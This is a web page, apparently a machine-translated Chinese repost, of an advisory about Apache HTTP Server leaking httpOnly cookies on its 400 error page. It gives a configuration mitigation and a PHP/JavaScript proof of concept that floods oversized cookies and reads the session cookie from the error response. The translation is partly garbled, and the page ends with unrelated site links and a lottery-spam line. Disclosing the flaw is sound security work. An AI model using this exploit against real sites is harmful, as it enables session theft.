TOP

Apache httpOnly Cookie Disclosure / Apache HTTP Server "httpOnly" Cookie 漏洞修復
2021-01-21 11:35:23   字體:【 】  瀏覽:48次   評論:0

說明

在我的五旬節期間,我注意到您可以通過java script,如果您的站點易受XSS影響,并且您正在使用Apache HTTP服務器。

這是可能的,因為apachehttp服務器發送一個“http400壞消息”請求“如果HTTP頭值太長(超過服務器限制)。

在本例中,apache還包括頭名稱和頭值在400錯誤頁上。所以通過XSS可以設置一組大的cookies,激發XHR請求并讀取響應,還包含僅HttpCookies

據我所知,只有通過以下配置指令才能緩解此問題:

ErrorDocument 400 "Your Error Page Content"

Proof of Concept PHP Script:
<?php
header("Set-Cookie: SESSIONID=ImAhttpOnlyCookie; path=/; httponly");
?>
<script type="text/java script">
var today = new Date();
var expire = new Date();
expire.setTime(today.getTime() + 2000);
gotCookie=false;
padding="";
for (j=0;j<=1000;++j) {
    padding+="A";
}
for (i=0;i < 10; ++i) {
    document.cookie="z"+i+"="+padding+"; expires="+expire.toGMTString()+"; path=/;"
}

function handler() {
    if (!gotCookie && this.responseText.length > 1) {
	text = /(SESSIONID=[^;]*)/i.exec(this.responseText);
	alert(text[1]);
	gotCookie=true;
    }
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = handler;
xhr.open("GET", "/httponly.php");
xhr.send();
</script>


Apache httpOnly Cookie Disclosure  / Apache HTTP Server "httpOnly" Cookie 漏洞修復


Tags:ApachehttpOnlyCookieDisclosure/ApacheHTTPServer" httpOnly" Cookie 漏洞 修復 責任編輯:room
】【打印繁體】【投稿】【收藏】 【推薦】【舉報】【評論】 【關閉】 【返回頂部
上一篇apache 限制每個線程的速度 下一篇Apache 性能配置優化

  • 一些常見的狀態碼為:200 - 服務器成功返回網頁 404 - 請求的網頁不存在 503 - 服務不可用 詳細分解:1xx(臨時響應) 表示臨時響應并需要請求者繼續執行操作的狀態代碼。代碼 說明 100 (繼續) 請求者應當繼續提出請求。服務器返回此代碼表示已收到請求的第一部分,正在等待其余部分。 101 (切換..

  • 首先簡單介紹一下,.htaccess文件是Apache服務器中的一個配置文件(Nginx服務器沒有),它負責相關目錄下的網頁配置。通過對.htaccess文件進行設置,可以幫我們實現:網頁301重定向、自定義400/403/404/500錯誤頁面、改變文件擴展名、允許/阻止指定IP用戶訪問、禁止目錄列表、配置默認文檔等功能,可以說是功能非常強大,下面就給大家介紹一下最常用的幾個功能的設置方法。設置網站錯..

-->

發布者

room room
等級:普通會員
積分:0 個
性別:保密
romm@qq.com
64 身份還未認證 郵箱還未認證 手機還未認證 給它發送短消息 搜尋它在apache發布的全部文章 57

最新文章

網站服務地區

漳州市網站建設
秦皇島市網站建設
萬盛區網站建設
吉安市網站建設
欽州市網站建設
湘潭市網站建設
東方市網站建設
遼源市網站建設
巫山縣網站建設
惠州市網站建設
南岸區網站建設
江門市網站建設
宜蘭縣網站建設
廣元市網站建設
大同市網站建設
高雄縣網站建設
漢中市網站建設
油尖旺區網站建設
六安市網站建設
那曲地區網站建設
承德市網站建設
日照市網站建設

本月熱門

相關文章

120期波叔一波中特图